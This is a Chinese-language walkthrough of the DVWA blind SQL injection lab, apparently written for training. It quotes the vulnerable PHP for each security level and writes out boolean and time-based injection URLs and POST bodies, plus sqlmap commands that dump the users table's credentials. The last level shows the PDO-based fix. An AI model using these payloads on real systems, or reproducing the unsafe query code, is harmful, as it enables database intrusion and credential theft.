DVWA之SQL Injection (Blind)
low
查看源代码可知,对输入字符串没有进行任何过滤
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
http://dvwa/vulnerabilities/sqli_blind/?id=1'&Submit=Submit#
这里我们发现我们如果语句正确就会返回exists,语句错误就会返回MISSING,所以这里我们使用union注入是行不通的,这里我们只能使用Boolean盲注
判断为数字型还是字符型注入
http://dvwa/vulnerabilities/sqli_blind/?id=1 and 1=1--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1 and 1=2--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and 1=1--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and 1=2--+&Submit=Submit# #MISSING
所以判断为字符型注入
判断当前数据库长度
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>10--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>5--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>3--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>4--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())=4--+&Submit=Submit# #exists
所以判断当前数据库长度为4
判断当前数据库的第一个字母
http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr(database(),1,1)='a'--+&Submit=Submit# #MISSING
一个一个猜未免太过麻烦了,这里我们直接发送到burpsuite进行暴力破解
判断当前数据库的第一个字母为d,根据此方法依次猜解后面三个字母为vwa,所以当前数据库为dvwa
判断dvwa库下有几张表
http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from information_schema.tables where table_schema=database())=1--+&Submit=Submit# #MISSING
继续使用burpsuite爆破
所以dvwa下有两张表
判断两张表的长度
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1--+&Submit=Submit# #MISSING
判断第一张表的长度为9,按照此方法猜解出第二张表的长度为5
判端dvwa库下第一张表的第一个字母
http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+&Submit=Submit# #MINSSING
所以dvwa库下的第一张表的第一个字母为d,按照此方法依次猜解出第一张表为guestbook,第二张表为users
判断users表下有几个字段
http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from information_schema.columns where table_name='users' )=1--+&Submit=Submit# #MISSING
所以users表下有14个字段
判断users表下第一个字段的长度
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1--+&Submit=Submit# #MISSING
所以users表下第一个字段的长度为7,按照此方法依次猜解出所有地段的长度
判断users表下第一个字段的第一个字母
http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+&Submit=Submit# #MISSING
按照此方法依次猜解出所有字段
判断user字段下面有多少个值
http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from users)=1--+&Submit=Submit# #MISSING
所以有5个字段
判断user字段的第一个值的第一个字母
http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select user from users limit 0,1),1,1)='a'--+&Submit=Submit# #exists
所以user字段下的第一个值的第一个字母为a,按照此方法依次猜解出user和password字段下面的所有字段
随便挑选一个账号密码验证我们猜解出来的账号密码
登入成功
这样一个一个猜未免太麻烦了,我们也可以使用SQL注入自动化工具sqlmap进行SQL注入
查看当前库
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" --dbs
–batch #自动化完成
–cookie #填写cookie信息,因为这里我们需要先登入后才能开始注入,所以我们需要输入cookie信息
–dbs 查看当前所有库
查看dvwa库下面的所有表
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa --tables
-D dvwa --tables #查看dvwa下的所有表
查看users表下的所有字段
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa -T users --columns
-D dvwa -T users --columns #查看dvwa库下users表下的所有字段
查看user,password字段下的所有值
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa -T users -C user,password --dump
-D dvwa -T users -C user,password --dump #查看dawa库下users表下user和password字段下所有的值
这里sqlmap会自动去调用一个字典,也可以自己手动指定到自己准备的字典,会自动帮你去解密
medium
将等级调为中等级,我们发现只能去选择1到5的数字,并且在选择后在url上面看不到我们提交上去的东西,因为这里我们输入的数字是以POST的方式提交到了后台,查看源代码可知,这里对id进行了一定的处理,会将我们输入的单引号给转义到,所以这里就只能为数字型注入或者宽字节注入了
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
这里我们使用hackbar抓取POST包
Submit=Submit&id=1 and 1=1--+ #exists
Submit=Submit&id=1 and 1=2--+ #MISSING
所以判断为数字型注入,之后的方法跟low级别就是一模一样了,这里我们介绍一种新方法,时间盲注,他其实也属于Boolena盲注,这里我们已经判断为数字型注入
Submit=Submit&id=1 and sleep(5)--+
这里发现页面会休眠5秒后再进行查询,我们可以利用这个特点
判断当前数据库长度
Submit=Submit&id=1 and if(length(database())=4,sleep(5),1)--+
这句话的意思为当前数据库的长度是否为4,如果是,则查询休眠5秒,如果不是,则查询1,我们发现页面确实休眠了5秒,所以判断当前数据库长度为4
判断当前数据库的第一个字母
Submit=Submit&id=1 and if(ascii(substr(database(),1,1))=100,sleep(5),1) --+
因为这里单引号被转义了,所以我们将字母转为ascii码进行查找,页面休眠了5秒,查找ascii码表,100对应的字母为d,所以判断当前数据库的第一个字母为d,按照此方法依次查找,判断当前数据库为dvwa,后面的过程与low级别基本相似,在前面加一个if判断条件即可,也可以使用sqlmap进行自动化注入,这里不加以赘述
high
查看源代码可知,我们输入id时,会自动跳转到另一个页面,再就是在sql语句后面加了一个limit函数
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
因为只是防止了使用自动化工具进行注入,所以跟low级别其实一模一样,后面的limit函数我们可以直接使用#将他注释掉,具体过程看我的low等级就行了
impossible
查看源代码可知,利用了PDO技术,所以杜绝了SQL注入
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>